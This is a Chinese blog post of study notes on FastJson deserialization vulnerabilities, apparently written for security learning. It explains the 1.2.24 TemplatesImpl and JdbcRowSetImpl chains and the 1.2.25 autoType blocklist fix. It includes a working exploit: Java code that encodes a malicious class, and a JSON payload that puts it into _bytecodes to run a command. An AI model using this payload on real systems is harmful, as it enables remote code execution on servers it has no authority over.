Skip to content

JavaSec 入门-04-FastJson

约 1762 字大约 6 分钟

Java

2024-12-12

前言

乱七八糟原因导致学的又有点慢,fastjson,rmi,jndi,shiro预期会同步开始学,多开几篇笔记写,随时补充更新

FastJson简介及使用

FastJSON 是阿里巴巴开发的一个高效的 Java JSON 处理库,支持 JSON 数据的解析和生成。它以速度快、体积小、易用性高而著称,并提供了对 Java 对象与 JSON 数据之间的快速序列化和反序列化功能。

在项目中添加依赖

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version> <!-- 请根据需要选择版本 -->
</dependency>

简单使用:

先准备一个 JavaBean ,在这里我们用lombok省去了繁琐的set,get和构造方法

import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;

@Data
@NoArgsConstructor
@AllArgsConstructor
public class Person {
    private String sex;
    private String name;
}
		// Java 对象转 JSON
        Person person = new Person("", "yanami");
        String heroJson = JSON.toJSONString(person);
        System.out.println(heroJson);

        // JSON 字符串转 Java 对象
        String shooter = "{\"name\":\"yanami\",\"sex\":\"\"}";
        Person hero = JSON.parseObject(shooter, Person.class);
        System.out.println(hero.toString());

        // JSON 解析为 JSONObject
        String person2 = "{\"name\":\"黄忠\",\"profession\":\"射手\",\"sex\":\"\"}";
        JSONObject PersonJson = JSON.parseObject(person2);
        System.out.println(PersonJson.toJSONString());

        // JSON 解析为 JSONArray
        String platform = "[{\"name\":\"aniale\",\"id\":\"0529\"},{\"name\":\"null\",\"id\":\"000\"}]";
        JSONArray platformArray = JSON.parseArray(platform);
        System.out.println(platformArray.toJSONString());

序列化

在这里我们最常用的方法就是JSON.toJSONString(),该方法有若干重载方法,带有不同的参数,常用的包括以下几个:

  • 序列化特性:com.alibaba.fastjson.serializer.SerializerFeature,可以通过设置多个特性到 FastjsonConfig 中全局使用,也可以在使用具体方法中指定特性。
  • 序列化过滤器:com.alibaba.fastjson.serializer.SerializeFilter,这是一个接口,通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化。
  • 序列化时的配置:com.alibaba.fastjson.serializer.SerializeConfig ,可以添加特点类型自定义的序列化配置。

反序列化

Fastjson的反序列化依赖于parse以及parseObject方法

  • 使用 JSON.parse(jsonString)JSON.parseObject(jsonString, Target.class),两者调用链一致,前者会在 jsonString中解析字符串获取 @type 指定的类,后者则会直接使用参数中的 class。
  • fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以 get 开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有setter方法;setter方法需满足条件:方法名长于 4,以 set 开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。
  • 使用 JSON.parseObject(jsonString) 将会返回 JSONObject 对象,且类中的所有gettersetter都被调用。
  • 如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。
  • fastjson 在为类属性寻找get/set方法时,调用函数com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _|- 字符串,也就是说哪怕你的字段名叫 _a_g_e_,getter 方法为 getAge(),fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _- 进行组合混淆。
  • fastjson 在反序列化时,Field类型为 byte[],将调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。

1.2.24

Templates链

影响版本:fastjson <= 1.2.24 描述:fastjson 默认使用 @type 指定反序列化任意类,攻击者可以通过在 Java 常见环境中寻找能够构造恶意类的方法,通过反序列化的过程中调用的 getter/setter 方法,以及目标成员变量的注入来达到传参的目的,最终形成恶意调用链。此漏洞开启了fastjson反序列化漏洞的大门,为安全研究人员提供了新思路。

我们打一个templates类加载那个调一下

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;

public class Demo {
    public static void main(String[] args) {
        byte[] buffer = null;
        String filepath = "D://Java//Classes/Test.class";
        try {
            FileInputStream fis = new FileInputStream(filepath);
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            byte[] b = new byte[1024];
            int n;
            while((n = fis.read(b))!=-1) {
                bos.write(b,0,n);
            }
            fis.close();
            bos.close();
            buffer = bos.toByteArray();
        }catch(Exception e) {
            e.printStackTrace();
        }
        Base64.Encoder encoder = Base64.getEncoder();
        String value = ((Base64.Encoder) encoder).encodeToString(buffer);
        System.out.println(value);

    }
}

生成的 base64 shellcode 塞到下面的_bytecodes里面

Fastjson默认只会反序列化public修饰的属性,outputProperties_bytecodes由private修饰,必须加入Feature.SupportNonPublicFieldparseObject中才能触发;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class Test {
    public static void main(String[] args) {
        String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\":[\"yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMVGVzdDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAoACwcAMAwAMQAyAQAEY2FsYwwAMwA0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKADUBAARUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAKAA4AAAAMAAEAAAAFAA8AEAAAAAEAEQASAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAWAA4AAAAgAAMAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAFQAWAAIAFwAAAAQAAQAYAAEAEQAZAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAbAA4AAAAqAAQAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAGgAbAAIAAAABABwAHQADABcAAAAEAAEAGAAIAB4ACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAADQAJABAADAAOAA0ADwAWABEADgAAAAwAAQANAAkAHwAgAAAAIQAAAAcAAkwHACIJAAEAIwAAAAIAJA==\"], '_name':'c.c', '_tfactory':{ },\"_outputProperties\":{}, \"_name\":\"a\", \"_version\":\"1.0\", \"allowedProtocols\":\"all\"}";
        JSON.parseObject(payload, Feature.SupportNonPublicField);
        //因为bytescodes等属性私有,需要加Feature.SupportNonPublicField
    }
}

parseObject()经过一系列封装和调用,处理完key之后走到了类加载位置

image-20241212124002624

继续跟进,把class放到mappings

image-20241212124200277

跟进到反序列化部分

image-20241212125755744

调用了构造方法里面的build(),跟进看一下

image-20241212131411672

开始遍历寻找getset,看到这个get调用了getOutputProperties去触发我们的链条

image-20241212131857298

总结下来就是

  • 构造一个TemplatesImpl类的反序列化字符串,其中 _bytecodes 是我们构造的恶意类的类字节码,这个类的父类是 AbstractTranslet,最终这个类会被加载并使用 newInstance() 实例化。
  • 在反序列化过程中,由于getter方法 getOutputProperties(),满足条件,将会被 fastjson 调用,而这个方法触发了整个漏洞利用流程:getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() / TestClass.newInstance()

JdbcRowSetImpl链

JdbcRowSetImpl类位于com.sun.rowset.JdbcRowSetImpl ,这条漏洞利用链比较好理解,是 javax.naming.InitialContext#lookup() 参数可控导致的 JNDI 注入。

先看一下 setAutoCommit() 方法,在 this.conn 为空时,将会调用 this.connect() 方法。

image-20241212140253491

方法里调用了 javax.naming.InitialContext#lookup() 方法,参数从成员变量 dataSource 中获取

image-20241212140352716

1.2.25

在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而打开 AutoType 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。

影响版本:1.2.25 <= fastjson <= 1.2.41 描述:作者通过为危险功能添加开关,并提供黑白名单两种方式进行安全防护,其实已经是相当完整的防护思路,而且作者已经意识到黑名单类将会无穷无尽,仅仅通过维护列表来防止反序列化漏洞并非最好的办法。而且靠用户自己来关注安全信息去维护也不现实。

安全更新主要集中在 com.alibaba.fastjson.parser.ParserConfig,首先查看类上出现了几个成员变量:布尔型的 autoTypeSupport,用来标识是否开启任意类型的反序列化,并且默认关闭;字符串数组 denyList ,是反序列化类的黑名单;acceptList 是反序列化白名单。

FastJson与原生反序列化

参考文章

https://boogipop.com/2023/03/02/FastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://www.javasec.org/java-vuls/FastJson.html